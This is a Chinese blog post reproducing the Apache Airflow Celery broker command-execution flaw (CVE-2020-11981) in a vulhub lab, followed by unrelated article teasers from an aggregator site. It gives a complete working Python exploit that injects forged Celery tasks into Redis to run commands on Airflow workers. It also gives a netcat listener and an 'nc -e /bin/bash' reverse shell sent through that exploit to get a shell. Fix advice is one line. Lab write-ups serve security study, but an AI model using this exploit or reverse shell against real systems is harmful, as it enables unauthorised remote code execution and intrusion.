[ vulhub漏洞复现篇 ] Apache Airflow Celery 消息中间件命令执行漏洞复现 CVE-2020-11981

news2024/9/22 9:54:42

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、漏洞描述
  • 四、环境搭建
    • 1、进入CVE-2020-11981环境
    • 2、启动CVE-2020-11981环境
    • 3、查看CVE-2020-11981环境
    • 4、访问CVE-2020-11981环境
    • 5、查看CVE-2020-11981提示信息
    • 6、关闭CVE-2020-11981环境
  • 五、漏洞复现
    • 1、POC脚本
    • 2、在tmp目录下创建PowerShell.txt文件
      • 1.构造POC脚本
      • 2.执行POC脚本
      • 3.文件创建成功
  • 六、Getshell
    • 1、攻击机监听
    • 2、靶机连接
      • 1.反弹shell命令
      • 2.构造POC脚本
      • 3.执行POC脚本
    • 3、getshell成功
  • 七、修复建议
  • 八、相关资源

一、漏洞编号

CVE-2020-11981

二、影响范围

Apache Airflow <= 1.10.10

三、漏洞描述

Airflow 是一个使用 python 语言编写的 data pipeline 调度和监控工作流的平台。Airflow 是通过 DAG(Directed acyclic graph 有向无环图)来管理任务流程的任务调度工具, 不需要知道业务数据的具体内容,设置任务的依赖关系即可实现任务调度。
这个平台拥有和 Hive、Presto、MySQL、HDFS、Postgres 等数据源之间交互的能力,并且提供了钩子(hook)使其拥有很好地扩展性。除了一个命令行界面,该工具还提供了一个基于 Web 的用户界面可以可视化管道的依赖关系、监控进度、触发任务等。
Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前,如果攻击者控制了Celery的消息中间件(如Redis/RabbitMQ),将可以通过控制消息,在Worker进程中执行任意命令。

四、环境搭建

1、进入CVE-2020-11981环境

cd vulhub/airflow/CVE-2020-11981 

在这里插入图片描述

2、启动CVE-2020-11981环境

docker-compose up -d

在这里插入图片描述

3、查看CVE-2020-11981环境

这里需要注意一下,由于漏洞环境比较大,启动的时间很慢,并不是一下子就能启动好的。

docker-compose ps 

下面这个图是我启动之后立马查看的,还有还环境没有起来
在这里插入图片描述

这是我隔了一段时间之后再次查看的图片,这个时候又多了一个8080端口

在这里插入图片描述

4、访问CVE-2020-11981环境

http://192.168.233.128:8080/admin/

在这里插入图片描述

5、查看CVE-2020-11981提示信息

cat README.md

在这里插入图片描述

6、关闭CVE-2020-11981环境

复现完记得关闭环境

docker-compose down

在这里插入图片描述

五、漏洞复现

1、POC脚本

import pickle
import json
import base64
import redis
import sys

r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"

task_dict = json.loads(ori_str)
command = ['命令']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()

for i in command:
    print(i,end=' ')
    
r.lpush(queue_name,json.dumps(task_dict))

2、在tmp目录下创建PowerShell.txt文件

1.构造POC脚本

import pickle
import json
import base64
import redis
import sys

r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"

task_dict = json.loads(ori_str)
command = ['touch','/tmp/PowerShell.txt']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()

for i in command:
    print(i,end=' ')
    
r.lpush(queue_name,json.dumps(task_dict))

2.执行POC脚本

python CVE-2020-11981.py 192.168.233.128

在这里插入图片描述

3.文件创建成功

进入容器查看,发现文件创建成功

docker ps
docker exec -it 831cd658320c /bin/bash
ls /tmp

在这里插入图片描述

六、Getshell

1、攻击机监听

nc -lvvp 55555

Nc反弹shell在文末给出

在这里插入图片描述

2、靶机连接

1.反弹shell命令

nc反弹shell详解在文末给出

nc -e /bin/bash 192.168.233.1 55555

2.构造POC脚本

import pickle
import json
import base64
import redis
import sys

r = redis.Redis(host=sys.argv[1], port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"

task_dict = json.loads(ori_str)
command = ['nc','-e', '/bin/bash','192.168.233.1', '55555']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body).encode()).decode()

for i in command:
    print(i,end=' ')
    
r.lpush(queue_name,json.dumps(task_dict))

3.执行POC脚本

python CVE-2020-11981.py 192.168.233.128

在这里插入图片描述

3、getshell成功

进入监听端发现shell反弹过来了

在这里插入图片描述

七、修复建议

及时更新到最新版本。

八、相关资源

1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)
4、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
5、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell
6、CVE-2020-11981POC

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/99044.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于asp.net企业网上办公自动化系统-计算机毕业设计

企业网上办公自动化通过对各办公自动化要素的闭环整合&#xff0c;实现了工作流、信息流、知识流和办公自动化系统的整合管理&#xff0c;提供了一个科学、开放、先进的信息化办公平台&#xff0c;实现办公自动化&#xff0c;并进行远程办公或在家办公。企业网上办公自动化将人…

redis开启二级缓存

目录 1. redis集成 2. pom.xml加入redis缓存支持 3. 在项目配置文件中加入cache配置 4. 在启动类开发缓存功能 5. 需要缓存的实体对象实现序列化接口 6. 缓存的使用 7. 测试 今天与大家分享&#xff0c;redis二级缓存实现案例。如有问题&#xff0c;望指教。 1. redis集…

计算机毕业设计springboot+vue基本微信小程序的校园二手物品交易平台系统

项目介绍 目的:设计一个同学们能自由发布和浏览求购或卖出商品信息的校园二手交易小程序,解决信息的不流通以及传统二手商品信息交流方式的笨拙等问题。 意义:在大学校园里,存在着很多的二手商品,但是由于信息资源的不流通以及传统二手商品信息交流方式的笨拙,导致了很多仍然具…

十年阿里测试工程师浅谈UnitTest单元测试框架

一、UnitTest单元测试框架提供了那些功能 1.提供用例组织和执行 如何定义一条“测试用例”? 如何灵活地控制这些“测试用例”的执行? 2.提供丰定的断言方法 当测试用例的执行结果与预期结果不一致时&#xff0c;判定测试用例失败。在自动化测试中&#xff0c;通过“断言”…

2022 软件测试简答题【太原理工大学】

四、简答题 1. 比较自顶向下集成测试方法和自底向上集成测试方法各自的优缺点。 ① 自顶向下集成 优点&#xff1a;较早地验证了主要控制和判断点:按深度优先可以首先实现和验证一个完整的软件功能;功能较早证实&#xff0c;带来信心;只需一个驱动&#xff0c;减少驱动器开发…

python+pyqt5设置窗体图标和任务栏图标及窗体标题的方法

本次设置窗体标题只用了一种方法&#xff0c;在进行窗体实例化后window Window()&#xff0c;使用setWindowTitle(str)命令&#xff0c;在主程序中的设置命令如下所示&#xff1a; if __name__ __main__:QApplication.setAttribute(Qt.AA_EnableHighDpiScaling) #Qt从5.6.0开…

机器学习——05线性回归

机器学习——05线性回归 参考资料 AIlearningMachine-Learning-in-Action庞善民.西安交通大学机器学习导论2022春PPT 使用Jupyter进行练习&#xff0c;python3 具体项目地址&#xff1a;https://github.com/yijunquan-afk/machine-learning/tree/master/basic-learn/05-reg…

ARM S5PV210 X210 刷机教程总结

前言 S5PV210 X210 开发板外观介绍 一、开发板刷系统1 1. 什么是刷系统 刷系统就是利用刷机工具&#xff0c;向开发板中烧录预先编译好的系统镜像&#xff0c;使之在开发板上运行起来。 2. 串口输出的意义&#xff08;做系统控制台&#xff09; 串口是一种硬件通信口&…

【将高光谱、多光谱和全色图像进行融合】

HyperNet: A deep network for hyperspectral, multispectral, and panchromatic image fusion &#xff08;HyperNet&#xff1a;一种用于高光谱、多光谱和全色图像融合的深度网络&#xff09; 传统的方法主要是将高光谱图像&#xff08;hyperspectral image (HSI)&#xff0…

定时红绿灯(C51单片机)

一&#xff0e;项目题目&#xff1a;利用中断处理制作的定时LED红绿灯系统 二&#xff0e;项目器件&#xff1a; 红色LED灯 绿色LED灯 黄色LED灯 100R电阻 电源 电容器 C51单片机 接地线 三&#xff0e;项目原理图 四&#xff0e;项目实现功能&#xff1a; 使用定时器/计数…

【云原生 | Kubernetes 实战】14、K8s 控制器 Statefulset 入门到企业实战应用

目录 一、Statefulset 控制器&#xff1a;概念、原理解读 1.1 什么是有状态服务&#xff1f; 1.2 什么是无状态服务&#xff1f; 二、 Statefulset 资源清单文件编写技巧 三、Statefulset 使用案例&#xff1a;部署 web 站点 3.1 StatefulSet 由以下几个部分组成&#xf…

VMware克隆虚拟机

一、克隆虚拟机 1. 在WMware中&#xff0c;右键虚拟机模板&#xff08;需要克隆的虚拟机原型&#xff09;&#xff0c;选择&#xff1a;管理 ----> 克隆&#xff0c;如下图所示&#xff1a; 2. 然后&#xff0c;如下图进行操作&#xff1a; 二、扩展&#xff1a;移除、删除…

【Python】 14-CVS文件操作

1.CVS文件 值没有类型&#xff0c;所有东西都是字符串&#xff1b; • 没有字体大小或颜色的设置&#xff1b; • 没有多个工作表&#xff1b; • 不能指定单元格的宽度和高度&#xff1b; • 不能合并单元格&#xff1b; • 不能嵌入图像或图表。 CSV 文件中的每个单元格 有逗…

【JavaSE基础:数据类型和变量】

数据类型一、数据类型1.八大基本数据类型二、变量0.字面常量1.变量1&#xff09;数值类型a.整型b.浮点型2&#xff09;字符类型&#xff08;char&#xff09;3&#xff09;布尔类型&#xff08;boolean&#xff09;2.类型转换3.类型提升一、数据类型 Java是一种强类型编程语言…

[思维模式-6]:《如何系统思考》-2- 认识篇 - 为什么要系统思考?系统思考是系统架构师、系统设计师的基本技能

目录 前言&#xff1a;系统思考的关键字 第1章 系统思考的作用 1.1 系统思考能够化繁为简 1.2 系统思考是敏捷成长和解决问题的系统方法 第2章 常见缺乏系统思考的表现 2.1 分解思维盛行的不足 2.2 面积上&#xff1a;只见树木&#xff0c;不见深林 2.3 时间上&#xf…

Tippecanoe安装使用

Tippecanoe安装使用 介绍 tippecanoe是mapbox官方提供的一个开源矢量切片工具&#xff0c;用C语言编写的。 Tippecanoe 的目标是为您的数据制作一个与比例无关的视图&#xff0c;以便在从整个世界到单个建筑物的任何级别上&#xff0c;您都可以看到数据的密度和纹理&#xf…

02---前端框架搭建

1、创建项目 1.该有的nodejs 、vue都要安装上&#xff0c;我用的是vuecli3&#xff0c;所以可以使用可视化界面 来创建项目&#xff08;更加直观&#xff09;&#xff0c;当然你也可以采用命令行的方式创建项目。 2.cmd命令行输入&#xff1a; vue ui 3.在打开的可视化页面中…

基于asp.net193酒店客房预订网站系统-计算机毕业设计

项目介绍 本酒店系统使用asp.net技术制作,在前台为普通用户提供预定和查询等系统使用功能&#xff0c;在后台为酒店管理员提供对系统平台的管理功能。在前台为用户提供的操作功能包括以下内容&#xff1a;站内新闻、用户注册、酒店查看&#xff0c;留言板等功能。此系统为管理…

AMAIZINGIC晶焱科技:Wi-Fi 6E 路由器产品的ESD/EOS防护方案

AMAIZINGIC晶焱科技&#xff1a;Wi-Fi 6E 路由器产品的ESD/EOS防护方案 随着无线网路的发展&#xff0c;IEEE协会于2020年提出了最新的Wi-Fi 6E&#xff0c;此版本为Wi-Fi 6的延伸版本&#xff0c;除了Wi-Fi 6原先支援的2.4GHz及5GHz的频段外&#xff0c;新增了6GHz的频段&…

功能超级强大,Python 命令行解析工具 argparse很好用

在工作中&#xff0c;我们经常需要从命令行当中解析出指定的参数&#xff0c;而 Python 也提供了相应的标准库来做这件事情&#xff0c;比如 sys, optparse, getopt, argparse。这里面功能最强大的莫过于 argparse&#xff0c;下面就来看看它用法。 import argparse # 使用 a…